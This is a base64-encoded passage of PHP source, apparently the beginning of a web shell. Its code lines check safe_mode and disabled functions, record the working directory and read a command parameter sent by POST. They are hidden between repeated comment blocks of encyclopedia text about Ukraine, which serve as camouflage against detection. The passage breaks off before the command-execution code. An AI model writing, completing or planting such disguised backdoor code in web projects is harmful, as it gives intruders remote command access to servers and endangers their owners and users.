aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KJGhvbWVfY3dkID0gQGdldGN3ZCgpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KaWYoIGlzc2V0KCAkX1BPU1RbJ2MnXSApICkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5l